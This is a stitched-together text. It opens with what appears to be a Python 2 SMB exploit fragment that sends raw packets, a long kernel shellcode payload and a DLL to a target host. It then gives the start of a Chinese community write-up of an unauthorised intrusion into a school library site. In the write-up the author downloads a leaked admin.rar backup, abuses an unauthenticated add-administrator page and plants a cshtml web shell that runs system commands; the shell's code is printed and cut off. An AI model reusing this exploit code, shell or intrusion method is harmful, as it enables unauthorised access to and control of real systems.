step_1_data ="x00x00x00x88xFFx53x4Dx42x73x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x0DxFFx00x88x00x04x11x0Ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xD4x00x00x00x4Bx00x00x00x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2Ex00x30x00x00x00"
s.sendall(step_1_data)
data = s.recv(1024)
print 1,data
#对方ip地址 x.x.x.x
#str_ip = "xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"
#step_2_data ="x00x00x00"+chr(len(str_ip))+ str_ip
step_2_data ="x00x00x00"+chr(len(str_ip))+"xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"
print binascii.b2a_hex(step_2_data)
print step_2_data
s.sendall(step_2_data)
data = s.recv(1024)
print 2,data
#验证得到signature
step_3_data ="x00x00x00x4ExFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x41x00x0Fx0Cx00x00x00x01x00x00x00x00x00x00x00x40x69x7Ax00x00x00x0Cx00x42x00x00x00x4Ex00x01x00x0Ex00x0Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00"
s.sendall(step_3_data)
response = s.recv(1024)
print 3,response
#print 3,binascii.b2a_hex(response)
key = get_key(response)
#shellcode+dll
kernel_shellcode ="x8Bx44x24x04x60x89xC5x81xECxB4x00x00x00x89xE7xB8x10x00x00x00x89x87x9Cx00x00x00xB8x40x00x00x00x89x87xA0x00x00x00xB8x98x01x00x00x89x87xA4x00x00x00xB8xBDxA2x37x83x89x87xA8x00x00x00xB8x00x00x00x00x89x87xACx00x00x00xB8x00x00x00x00x89x87xB0x00x00x00xB8x88x01x00x00x89x87x94x00x00x00x64x8Bx1Dx38x00x00x00x66x8Bx43x06xC1xE0x10x66x8Bx03x66x25x00xF0x8Bx18x66x81xFBx4Dx5Ax74x07x2Dx00x10x00x00xEBxF0x89x47x4Cx89xC3xB9x94x01x69xE3xE8x8Bx03x00x00x85xC0x0Fx84x8Ax02x00x00x89x07xB9x85x54x83xF0xE8x77x03x00x00x85xC0x0Fx84x76x02x00x00x89x47x04xB9x84x06xE7xF9xE8x62x03x00x00x85xC0x0Fx84x61x02x00x00x89x47x08xB9xF9x30xACxA4xE8x4Dx03x00x00x85xC0x0Fx84x4Cx02x00x00x89x47x0CxB9xAExB8x9Fx5DxE8x38x03x00x00x85xC0x0Fx84x37x02x00x00x89x47x10xB9xF6x10x00xB8xE8x23x03x00x00x85xC0x0Fx84x22x02x00x00x89x47x14xB9xCAxD6x5FxD2xE8x0Ex03x00x00x85xC0x0Fx84x0Dx02x00x00x89x47x18xB9xEEx88x6Ex0AxE8xF9x02x00x00x85xC0x0Fx84xF8x01x00x00x89x47x1CxB9xCEx0CxB5xDBxE8xE4x02x00x00x85xC0x0Fx84xE3x01x00x00x89x47x20xB9x02xB8x9BxD2xE8xCFx02x00x00x85xC0x0Fx84xCEx01x00x00x89x47x24xB9x09x89x30xDFxE8xBAx02x00x00x85xC0x0Fx84xB9x01x00x00x89x47x28xB9x7DxE3x4DxA0xE8xA5x02x00x00x85xC0x0Fx84xA4x01x00x00x89x47x2CxB9xDFx81x14x3ExE8x90x02x00x00x85xC0x0Fx84x8Fx01x00x00x89x47x30xB9xBAx1Ex03xA0xE8x7Bx02x00x00x85xC0x0Fx84x7Ax01x00x00x89x47x34xB9x4FxFExEBx15xE8x66x02x00x00x85xC0x0Fx84x65x01x00x00x89x47x38xB9xCAxBExD0xECxE8x51x02x00x00x85xC0x0Fx84x50x01x00x00x89x47x3CxB9x79xA8x24x11xE8x3Cx02x00x00x85xC0x0Fx84x3Bx01x00x00x89x47x40xB9x37xC6x90x4FxE8x27x02x00x00x85xC0x0Fx84x26x01x00x00x89x47x44xB9x6CxE7xFEx10xE8x12x02x00x00x85xC0x0Fx84x11x01x00x00x89x47x48xE8xCFx01x00x00x8Bx87x98x00x00x00x85xC0x0Fx84xFBx00x00x00xE8x02x01x00x00x85xC0x0Fx84xEEx00x00x00x89x47x58x8Dx8Dx91x05x00x00xFFx31x6Ax40x68x00x10x00x00x51x6Ax00xC7x47x54x00x00x00x00x8Dx4Fx54x51x6AxFFxFFx57x10x59x85xC0x0Fx85xB3x00x00x00x57x8DxB5x95x05x00x00x8Bx7Fx54xF3xA4x5FxB8x3Cx00x00x00x8Bx8Fx94x00x00x00x03x4Fx58x89xCEx8Bx11x39xD6x0Fx84x8Cx00x00x00x2Bx97x98x00x00x00x50x51x52x52xFFx57x48x5Ax59x85xC0x74x2Cx51xB9xA8x01x00x00x01xC8x85xC9x59x74x06x8Bx00x85xC0x74x19x58x01xC2x50x31xC0x3Cx01x74x0Ax8Bx02x0FxBAxE0x05x72x0CxEBx05x80x3Ax01x74x05x58x8Bx09xEBxB2x58x29xC2x89x97x8Cx00x00x00x6Ax50x6Ax00xFFx17x85xC0x74x42x89x87x90x00x00x00xC7x40x40xC2x14x00x00x6Ax00x6Ax01xFFx77x54x6Ax00x8Dx50x40x52x6Ax00xFFxB7x8Cx00x00x00x50xFFx57x14x6Ax00x6Ax00x6Ax00xFFxB7x90x00x00x00xFFx57x18x8Dx4Fx5Cx51xFFx57x0Cx8Bx4Fx58xFFx57x3Cx81xC4xB4x00x00x00x61x31xC0xC2x04x00x51x56x57x53xB9x08x00x00x00x51x8Dx77x58x56x51xFFx57x30x85xC0x0Fx85x83x00x00x00x8Bx77x58x8Bx9FxA4x00x00x00x8Bx04x1Ex83xF8x02x7Cx6Dx56xFFx57x34xE8x6Cx01x00x00x8Bx8FxA8x00x00x00x39xC8x75x5Ax8Dx4Fx5Cx51x56xFFx57x08x56xFFx57x38x85xC0x74x3Cx8Bx9Fx9Cx00x00x00x8Bx04x18x85xC0x74x2Fx31xC9x8Bx9FxA0x00x00x00x66x8Bx0Cx18x8Bx44x18x04x85xC0x74x1Bx8Bx9FxB0x00x00x00x29xD9x7Cx11x01xC8xE8x5Fx01x00x00x8Bx8FxACx00x00x00x39xC8x74x24xC7x47x58x00x00x00x00x8Dx4Fx5Cx51xFFx57x0Cx89xF1xFFx57x3Cx59x81xF9x00x00x01x00x7Fx0Dx83xC1x04xE9x5BxFFxFFxFFx59x89xF0xEBx02x31xC0x5Bx5Fx5Ex59xC3x60xFFx57x44x89xC6x8Bx87x94x00x00x00x01xC6xFFx57x40x89xF1x39xF0x77x14x8Dx90x80x02x00x00x39xF2x72x0Ax29xC6x89xB7x98x00x00x00xEBx06x8Bx36x39xCEx75xE2x61xC3x53x52x51x57x55x89xE5x83xECx18x89xCFx89xD8x89x45xFCxE8x7Fx00x00x00x85xC0x74x6Ex89x45xF8xE8xF3x00x00x00x89x45xF4x8Bx45xFCx8Bx4DxF8xE8x16x01x00x00x85xC0x74x54x89x45xF0x8Bx45xFCx8Bx4DxF8xE8x0Cx01x00x00x85xC0x74x42x89x45xECx8Bx45xFCx8Bx4DxF8xE8x02x01x00x00x85xC0x74x30x89x45xE8x8Bx45xFCx89xF9x8Bx55xECx8Bx5DxF4xE8xB0x00x00x00x83xF8xFFx74x21x89xC1x8Bx45xE8xE8xE4x00x00x00x66x89xC2x8Bx45xFCx8Bx4DxF0xE8xDEx00x00x00x83xC4x18x5Dx5Fx59x5Ax5BxC3x31xC0xEBxF3x56x89xC6x83xC6x3Cx8Bx36x01xC6x66x81x3Ex50x45x75x09x83xC6x78x8Bx36x01xF0x5ExC3x31xC0xEBxFAx56x51x57x89xC6x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xC9x8Ax0Ex80xF9x00x74x05x01xC8x46xEBxE9x5Fx59x5ExC3x56x57x52x89xC6x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xD2x8Ax16x01xD0x46xE2xEEx5Ax5Fx5ExC3x56x51x57x89xC6x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xC9x8Ax0Ex80xF9x00x74xC6x01xC8x46x46xEBxE8x5Fx59x5ExC3x83xC0x18x8Bx00xC3x57x56x51x31xFFx89xC6x39xDFx74x19x8Bx04xBAx01xF0xE8x83xFFxFFxFFx39xC8x74x07x47xEBxEBx59x5Ex5FxC3x89xF8xEBxF8xB8xFFxFFxFFxFFxEBxF1x83xC1x1Cx8Bx09x01xC8xC3x83xC1x20x8Bx09x01xC8xC3x83xC1x24x8Bx09x01xC8xC3xD1xE1x01xC8x66x8Bx00xC3x81xE2xFFxFFx00x00xC1xE2x02x01xD1x8Bx09x01xC8xC3x70x21x00x00x60x89xE0x81xECx00x04x00x00xE9x52x0Dx00x00x5Dx8DxB4x24x00x02x00x00x89x06x31xFFx64x8Bx07x89x46x04x8Dx55xC8x31xC9x49x64xFFx37x56x55x51x52x52x64xFFx37x64x89x27x8Dx7Dx9Ax56x83xC6x08x31xC9x8Ax0Fx84xC9x74x30x47x8Bx17x83xC7x04x8Bx1Fx83xC7x04x53x52xE8x05x0Cx00x00x51x0FxB6x0Fx47x85xC9x59x75x08x85xC0x0Fx84xEDx0Bx00x00x89x06x83xC6x04x49x85xC9x75xD8xEBxC8x5Ex56x83xECx1Cx31xC0x89x44x24x18x89x44x24x14x89x44x24x10x89x44x24x0Cx89x44x24x08x64x8Bx1Dx18x00x00x00x8Bx5Bx30x8Bx5Bx0Cx8Bx5Bx14x8Bx73x10x89xF2x56x89xF7x83xC6x3Cx03x3Ex5Ex53x89xFBx0FxB7x4Bx06x0FxB7x43x14x5Bx85xC9x0Fx84xE3x00x00x00x89x4Cx24x04x57x83xC7x18x83xC7x60x8Bx0Fx85xC9x74x02x01xF1x89x4Cx24x18x8Bx4Fx04x89x4Cx24x1Cx5Fx01xC7x83xC7x18x89x3Cx24x89xF8x83xC0x24x8Bx00x25x00x00x00x20x85xC0x0Fx84x8Cx00x00x00x89xF9x83xC1x08x83xC7x0Cx8Bx09x8Bx3Fx01xF7x83xF9x0Dx7Cx79x83xE9x0Dx83xC7x07x8Bx44x24x14x85xC0x74x16x39xC7x72x12x03x44x24x18x39xC7x73x0Ax01xF9x39xC1x76x59x29xC1x89xC7x8Dx44x24x0Cx50xE8x0Dx0Ax00x00x85xC0x74x09xE8x7Dx0Ax00x00x85xC0x75x06x47x49xE3x3AxEBxC5x83xF8x02x74x0Dx8Bx44x24x08x85xC0x75xEDxB8x01x00x00x00x89x44x24x08x56x8Bx74x24x20x89x7Ex20x8Bx44x24x14x89x46x24x8Bx44x24x10x89x46x28x5Ex8Bx44x24x08x83xF8x01x74xC4xEBx40x8Bx3Cx24x8Bx4Cx24x04x83xC7x28x83xE9x01x85xC9x89x3Cx24x89x4Cx24x04x0Fx85x44xFFxFFxFFx31xC0x8Bx1Bx8Bx73x10x39xC6x74xF5x39xF2x74x05xE9xECxFExFFxFFx8Bx04x24x85xC0x75x09x83xC4x1Cx5ExE9x88x0Ax00x00x83xC4x1Cx5Ex56x89xF2x89xF7x83xC6x08x89xF2x83xC7x2CxB9x06x00x00x00xF3xA5x89xD7x8DxB5x03xFDxFFxFFxB9x06x00x00x00x89x37x83xC7x04x83xC6x04xE2xF6x5ExBAx40x00x00x00x52xBAx00x30x00x00x52xFFx75x03x6Ax00xFFx56x08x85xC0x0Fx84x53x08x00x00x89xC3x56x8Bx4Dx03x8Dx75x0Bx89xDFxF3xA4x5Ex89x5Ex44x8Bx45x03x89x46x48x8Bx4Dx03x8Dx7Dx0Bx31xC0xF3xAAx8Dx85x00xFBxFFxFFx89x85xCFxF6xFFxFFx8Dx85x07xFBxFFxFFx89x85xD3xF6xFFxFFx8Dx85x38xFBxFFxFFx89x85xDBxF6xFFxFFx8Dx85x98xFAxFFxFFx89x85xDFxF6xFFxFFx8Bx7Ex28x8Dx85x17xFBxFFxFFxF7xC7x10x00x00x00x75x01x40x89x85xD7xF6xFFxFFx55x8DxADx6AxF6xFFxFFx8Bx7Ex44xE8xBDx01x00x00x85xC0x0Fx85xE5x00x00x00xE8x17x02x00x00x85xC0x0Fx84xD8x00x00x00x89x45x10x8Bx7Dx04x83xC7x34x8Bx3Fx8Bx45x10x29xF8x89x45x14xE8x2Ex02x00x00x85xC0x0Fx85xB8x00x00x00xE8x83x02x00x00x85xC0x0Fx85xABx00x00x00xE8x75x03x00x00x85xC0x0Fx85x9Ex00x00x00xE8x7Ax03x00x00x85xC0x0Fx85x91x00x00x00xE8x23x04x00x00x85xC0x0Fx85x84x00x00x00xE8xE6x04x00x00x85xC0x75x7Bx8Bx45x10x89x46x4Cx8Bx45x0Cx89x46x50x5Dx8Bx45x07x89x46x54x8Bx7Ex4Cx8Bx56x50x83xC2x00x8Bx12x85xD2x74x4Bx01xD7x8Bx46x54x89xFAx83xC2x10x8Bx12x29xD0x89xFAx83xC2x14x8Bx12x83xF8x00x7Cx31x39xD0x7Dx2Dx89xFAx83xC2x1Cx8Bx12x03x56x4CxC1xE0x02x01xC2x8Bx12x03x56x4Cx57x89xE7x8Bx46x44x8Bx5Ex48x53x50xB8x02x00x00x00x50xFFxD2x89xFCx5Fx89x46x58x55x8DxADx6AxF6xFFxFFxE8x4Bx04x00x00xEBx00x8Bx7Dx10x85xFFx74x4Ax8Dx45x61x50xB8x40x00x00x00x50x8Bx45x28x50x8Bx45x10x50xFFx56x1Cx85xC0x74x07x8Bx4Dx28x31xC0xF3xAAx8Bx7Dx10x68x00x80x00x00x6Ax00x57xFFx56x0Cx8Bx7Dx30x85xFFx74x15x8Bx4Dx34x31xC0xF3xAAx8Bx7Dx30x68x00x80x00x00x6Ax00x57xFFx56x0Cx5DxE9x97x06x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xB8xFFxFFxFFxFFxE9x50x09x00x00x6Dx73x76x63x72x74x2Ex64x6Cx6Cx00x6Dx73x76x63x72x74x64x2Ex64x6Cx6Cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x57x52x53x89x7Dx00x89xFAx83xC2x00x66x8Bx1Ax66x81xFBx4Dx5Ax75x4Ax89xFAx83xC2x3Cx8Bx1Ax01xDFx89x7Dx04x89xFAx83xC2x00x8Bx1Ax81xFBx50x45x00x00x75x2Fx89xFAx83xC2x18x66x8Bx1Ax66x81xFBx0Bx01x75x20x89xFAx83xC2x14x31xDBx66x8Bx1Ax89xFAx83xC2x18x01xDAx89x55x08x89xFAx83xC2x78x89x55x0Cx31xC0xEBx04x31xC0xF7xD0x5Bx5Ax5FxC3x57x52x53x8Bx7Dx04x83xC7x50x8Bx1Fx89x5Dx28x8Bx7Dx04x83xC7x34x8Bx17x6Ax40x68x00x30x00x00x53x52xFFx56x08x85xC0x75x0Dx6Ax40x68x00x30x00x00x53x6Ax00xFFx56x08x5Bx5Ax5FxC3x57x52x53x51x56x8Bx76x44x8Bx7Dx10x8Bx5Dx04x83xC3x54x8Bx0BxF3xA4x5Ex8Bx7Dx04x83xC7x06x31xDBx66x8Bx1Fx31xD2x39xD3x74x2ExB8x28x00x00x00x52xF7xE2x5Ax03x45x08x56x8Bx76x44x89xC1x83xC1x14x03x31x8Bx7Dx10x89xC1x83xC1x0Cx03x39x89xC1x83xC1x10x8Bx09xF3xA4x5Ex42xEBxCEx31xC0xEBx04x31xC0xF7xD0x59x5Bx5Ax5FxC3x57x52x53x51x8Bx7Dx10xE8xF4xFExFFxFFx85xC0x0Fx85xDEx00x00x00xE8x40x03x00x00x85xC0x0Fx85xD1x00x00x00x8Bx7Dx00xB8x08x00x00x00xBAx01x00x00x00xF7xE2x8Bx55x0Cx01xC2x83xC2x00x8Bx1Ax01xFBx89x5Dx18x39xFBx0Fx84xB1x00x00x00x89xD8x83xC0x10x8Bx00x85xC0x0Fx84xA2x00x00x00x8Bx45x00x89xDAx83xC2x0Cx03x02x50xFFx56x10x85xC0x0Fx84x86x00x00x00x89x45x24x89xDAx83xC2x00x8Bx7Dx00x03x3Ax89x7Dx1Cx89xDAx83xC2x10x8Bx7Dx00x03x3Ax89x7Dx20x8Bx55x1Cx8Bx12x85xD2x74x58x89xD7x81xE7x00x00x00x80x74x0Ax89xD7x81xE7xFFxFFx00x00xEBx08x8Bx7Dx00x01xD7x83xC7x02x57x8Bx7Dx24x57xFFx56x14x85xC0x74x38x8Bx55x20x89x02xE8xCDx03x00x00x85xC0x74x0ExE8x88x03x00x00x85xC0x75x05xE8x13x03x00x00x8Bx55x1Cx83xC2x04x89x55x1Cx8Bx55x20x83xC2x04x89x55x20xEBx9Fx83xC3x14xE9x55xFFxFFxFFx31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x57x52x8Bx7Dx04x83xC7x34x8Bx55x10x89x17x31xC0x5Ax5FxC3x57x52x53x51x8Bx55x14x85xD2x0Fx84xA0x00x00x00xB8x08x00x00x00xBAx05x00x00x00xF7xE2x8Bx55x0Cx01xC2x89xD7x83xC7x04x8Bx3Fx85xFFx74x7Ex89xD7x83xC7x00x8Bx3Fx85xFFx74x73x8Bx55x10x01xFAx89xD7x83xC7x04x8Bx3Fx85xFFx74x69x83xEFx08xD1xEFx31xC9x39xF9x74x4Dx89xD3x83xC3x08x89xC8xD1xE0x01xC3xC7x45x2Cx00x00x00x00x66x8Bx03x66x25x00xF0x66xC1xE8x0Cx66x83xF8x00x74x27x66x83xF8x03x75x21x89xD0x83xC0x00x8Bx00x89x45x2Cx31xC0x66x8Bx03x66x25xFFx0Fx01x45x2Cx8Bx45x10x03x45x2Cx8Bx5Dx14x01x18x41xEBxAFx89xD7x83xC7x04x8Bx3Fx01xFAxEBx92x31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x8Bx7Dx04x83xC7x06x31xDBx66x8Bx1Fx31xD2x39xD3x0Fx84x92x00x00x00xB8x28x00x00x00x52xF7xE2x5Ax03x45x08x89xC7x83xC7x24x8Bx3FxC7x45x5Dx00x00x00x00xF7xC7x00x00x00x02x75x64xF7xC7x00x00x00x40x74x07xC7x45x5Dx02x00x00x00xF7xC7x00x00x00x80x74x07xC7x45x5Dx04x00x00x00xF7xC7x00x00x00x20x74x1Ax83x7Dx5Dx02x75x07xC7x45x5Dx20x00x00x00x83x7Dx5Dx04x75x07xC7x45x5Dx40x00x00x00x8Bx7Dx10x89xC1x83xC1x0Cx03x39x89xC1x83xC1x08x8Bx09x52x8Dx45x61x50x8Bx45x5Dx50x51x57xFFx56x1Cx5Ax85xC0x74x06x42xE9x6CxFFxFFxFFx31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x52x57x8Bx55x10x8Bx7Dx04x83xC7x28x8Bx3Fx01xFAx6Ax00x6Ax00x8Bx7Dx10x57xFFxD2x31xC0x5Fx5AxC3x52x57x8Bx55x10x8Bx7Dx04x83xC7x28x8Bx3Fx01xFAx6Ax00x6Ax01x8Bx7Dx10x57xFFxD2x31xC0x5Fx5AxC3x39xECx7Dx79x57x56x53x89xE6x83xC6x0Cx55x6Ax00x89xE3x51x52x89xE9x29xF1x83xF9x04x7Cx5Ax50x52x53xB8x0Fx00x00x00x6BxC0x04x39xC8x7Dx02x89xC1xBAx00x00x00x00x89xC8xBBx04x00x00x00xF7xFBx48x6Ax00x83xF8x00x75xF8x01xCCx5Bx5Ax58x89xE5x89xE7x29xCFx89xFCxF3xA4x89x23x8Bx4BxFCx8Bx53xF8xC7x43xFCx00x00x00x00xC7x43xF8x00x00x00x00xC7x04x24xFFxFFxFFxFFxBExEExEExEExEExFFxE0x59x59x5Dx5Dx5Bx5Ex5FxFFxE0x5Bx89xE1x2Bx4Dx08x83xE9x04x89xECx83xC4x20x01xCCx8Bx5Dx10x8Bx75x14x8Bx7Dx18x8Bx4Dx1Cx8Bx6Dx0CxFFxE1x00x00x00x00x57x52x53x51xB8x08x00x00x00xBAx0Cx00x00x00xF7xE2x8Bx55x0Cx01xC2x83xC2x04x8Bx1AxC1xEBx02xB8x0Ax00x00x00xF7xE3x89x45x34x6Ax40x68x00x30x00x00x50x6Ax00xFFx56x08x85xC0x74x4Bx89x45x30x8Bx46x20x8Bx7Dx65x83xC7x03x89x07x8Bx46x28xA9x02x00x00x00x74x18x8Bx45x6Dx8Bx5Dx71x89x03x8Bx5Ex24x8Bx7Dx71x29xDFx8Bx5Dx69x43x89x3BxEBx09x8Bx45x6Dx8Bx7Dx69x47x89x07x8Bx46x28xA9x01x00x00x00x74x0Ex8Bx7Dx69xC6x07xBFxEBx06x31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x56x50x8Bx7Dx30x8Bx45x38x01xC7x89xEEx83xC6x3CxB9x0Ax00x00x00xF3xA4x8Bx7Dx30x8Bx45x38x01xC7x83xC7x00x47x8Bx55x20x8Bx1Ax89x1Fx8Bx75x75x8Bx7Dx30x8Bx45x38x01xC7x83xC7x05x47x83xC7x04x29xFEx8Bx7Dx30x8Bx45x38x01xC7x83xC7x05x47x89x37x8Bx7Dx30x8Bx45x38x01xC7x8Bx75x20x89x3Ex8Bx45x38x83xC0x0Ax89x45x38x58x5Ex59x5Bx5Ax5FxC3x57x52x53x51x56x8Bx7Dx00x89xDAx83xC2x0Cx03x3Ax89xE9x83xC1x46x57x51xFFx56x18x85xC0x74x12x89xE9x83xC1x51x57x51xFFx56x18x85xC0x74x04x31xC0xEBx07xB8x01x00x00x00xEBx00x5Ex59x5Bx5Ax5FxC3x57x52x53x51x56x8Bx7Dx24x89xFAx83xC2x00x66x8Bx1Ax66x81xFBx4Dx5Ax75x65x89xFAx83xC2x3Cx8Bx1Ax01xDFx89xFAx83xC2x00x8Bx1Ax81xFBx50x45x00x00x75x4Dx89xFEx83xC6x14x31xDBx66x8Bx1Ex89xFEx83xC6x18x01xDEx89xFBx83xC3x06x31xC9x66x8Bx0Bx31xD2x89xF3x83xC3x0Cx8Bx7Dx24x03x3Bx39xF8x7Cx1Ax89xF3x83xC3x08x03x3Bx39xF8x7Dx0Fx89xF3x83xC3x24x8Bx1BxF7xC3x00x00x00x20x75x0Cx83xC6x28x42x39xCAx7CxD0x31xC0xEBx07xB8x01x00x00x00xEBx00x5Ex59x5Bx5Ax5FxC3xEBx18x6Ax0BxEBx16x6Ax0CxEBx12x6Ax0DxEBx0Ex6Ax0ExEBx0Ax6Ax0FxEBx06x6Ax10xEBx02xEBx76x58x8Bx04x86x56x57x53x55x89xF3x89xE6x83xC6x14xB9x40x00x00x00x29xCCx89xE7xF3xA4x89xE5xE8x00x00x00x00x5Fx89xDEx8Bx5Ex28x50x8Dx47x3CxF7xC3x10x00x00x00x75x01x40xF7xC3x02x00x00x00x75x04x89xC7xEBx0Ax8Dx7Fx51x89x07x8Bx46x24x29xC7x58xF7xC3x01x00x00x00x8Bx5Ex20x53x74x02xEBx02x89xFExFFxE0x5Bx8Bx5Dx44x8Bx7Dx48x8Bx75x4Cx8Bx4Dx50x8Bx6Dx40x83xC4x54xFFxE1x00x00x00x00xE9x52x01x00x00x55x89xE5x53x56x51x8Bx4Dx10x0FxB6x01x85xC0x74x2Cx8Bx75x08x85xF6x8Bx75x0Cx74x02x29xC6x0FxB6x06x3CxFFx75x14x0FxB6x59x01x46x0FxB6x06x39xD8x72x08x0FxB6x59x02x39xD8x76x09x8Dx49x03xEBxCDx31xC0xEBx03x31xC0x40x59x5Ex5Bx89xECx5DxC2x0Cx00x8Dx85x44xFExFFxFFx50x57x31xC0x50xE8xA4xFFxFFxFFx85xC0x74x49x51x8Bx4Cx24x08x31xC0x89x41x04x0FxB6x47x01x24x01x89xC1x0FxB6x47x01x24x10x09xC1x0FxB6x47x01x3CxD0x77x1Dx80xC9x02x3Cx30x72x16x51x3Cx70x72x05x8Bx4Fx02xEBx04x0FxBEx4Fx02x8Bx44x24x0Cx89x48x04x59x8Bx44x24x08x89x08x59x31xC0x40xC2x04x00x02x26x27x03x66x67x06xA6xA7x02xE6xE7x02x16x17x03x56x57x06x96x97x02xD6xD7x00x8Dx85xA6xFExFFxFFx50x57x31xC0x40x50xE8x2AxFFxFFxFFx85xC0x74x07xB8x02x00x00x00xEBx2Cx8Dx85xC2xFExFFxFFx50x57x31xC0x40x50xE8x0ExFFxFFxFFx85xC0x74x07xB8x01x00x00x00xEBx10x8Dx47xFBx8Ax00x3CxE8xB8x01x00x00x00x74x02x31xC0xC3x02x10x13x03x14x14x02x16x17x03x50x53x04x54x54x03x55x57x06x90x93x06x95x97x02xD0xD7x00x06x15x15x02x18x1Bx03x1Cx1Cx06x1Dx1Dx02x1Ex1Fx03x58x5Bx04x5Cx5Cx03x5Dx5Fx07x94x94x06x98x9Bx07x9Cx9Cx06x9Dx9Fx02xD8xDFx00xE9xCFx00x00x00x5ExE9xC9x00x00x00x31xC0x60xB0x18x64x8Bx18x8Bx5Bx30x8Bx5Bx0Cx8Bx5Bx14x8Bx73x28x8Bx6Bx10x85xEDx0Fx84x82x00x00x00x31xD2xC1xC2x05x66xADx0Cx20x30xC2x66x83x3Ex00x75xF1x8Bx1Bx3Bx54x24x24x75xD9x8Bx44x24x28x85xC0x75x04x89xE8xEBx59x8Bx7Dx3Cx01xEFx8Bx7Fx78x01xEFx39xEFx74x4Fx8Bx4Fx18x85xC9x74x48x8Bx57x1Cx01xEAx8Bx5Fx20x01xEBx8Bx7Fx24x01xEFx89x54x24x24x8Bx33x01xEEx31xD2xC1xC2x05xACx0Cx20x30xC2x80x3Ex00x75xF3x3Bx54x24x28x74x0Ax83xC7x02x83xC3x04xE2xDFxEBx12x0FxB7x17xC1xE2x02x03x54x24x24x8Bx02x01xE8x89x44x24x1Cx61xC2x08x00x06xDFxB0x2Cx51x33x8Ax8DxA4x00x78x95x27x85x00x3Bx00xA1xB4x00xDBxB6xB6xE5x00xC4x22x07xE2x00x82x5Ax15x4Ax00x00x31xC0x8Bx4Ex04x64x89x08xEBx04x8Bx64x24x08x83xC4x10x5Dx5Ex31xC0x64x8Fx00x8Bx26x89x44x24x1Cx31xC0x8Dx4Dx00x8Dx5DxFBx29xD9x89xDFxF3xAAx8Dx4DxF7x8Dx9Dx9CxF2xFFxFFx29xD9x89xDFxF3xAAx61xC3xE8xA9xF2xFFxFFxEBx09x90x00x14x00x00x01x00x00x00"
f = open(dllfile,"rb")
dll_hex = f.read()
f.close()
dll_hex += "x00"*3
array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)
for i in range(ncount):
#print binascii.b2a_hex(array[i])
print i+4,",len:",len(array[i])
s.sendall(array[i])
data = s.recv(1024)
print i+4,"--->",data
#end1
step_7_data ="x00x00x00x23xFFx53x4Dx42x71x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x00x00x00"
s.sendall(step_7_data)
data = s.recv(1024)
print 7,data
#end2
step_8_data ="x00x00x00x27xFFx53x4Dx42x74x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x02xFFx00x27x00x00x00"
s.sendall(step_8_data)
data = s.recv(1024)
print 8,data
print "------Inject dll done!------"
s.close() | 社区文章 |
## 0x00 前言
一个月前的事了觉得挺有意思的记录一下。4月初回学校后不久想着不能荒废啊于是想去图书馆借本书学习一下。然而，可恶的是我想看的书图书馆竟然没搜到。可把我气坏了，好不容易想学习下来着。然后就顺手就测试了一下...
## 0x01 突破后台
一开始的时候，我只顾着在前台个人中心头像上传处一个劲的怼，发现白名单把后缀限制的死死的，解析漏洞也不行。没办法，只能放弃前台处。开启御剑扫描敏感目录，果然给我一个大惊喜admin.rar赶紧下下来瞅瞅。
[
解压后发现是aspx的，我估摸着aspx我也不会呀，审计是不可能审计的了，瞄了一眼源码结构，倒是发现几个有意思的名字。
[
看名字就明白是啥功能了，直接访问这个文件，发现可以越权访问。点击确认后竟然直接添加成功，就这样未授权添加管理员，然后进入后台。
[
后台功能点还是挺多的，getshell这一步花了不少时间。
[
## 0x02 后台getshell
一开始只顾着一个劲的找上传点，差不多有三个上传点吧。从下载的源码结构中也能看出。不过依旧是白名单限制的很死。然后就尝试着去试其他地方。发现include模块这个功能点有点意思，我本来是想直接写一个aspx大马进去的，但是它这里只能写cshtml文件，搜索了一波感觉有戏，然而我手里没有cshtml的马呀，没办法，后面去某论坛问了一波，结果有大佬立马就给了我一个。感谢lovehack师傅又让我学到了新姿势。
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
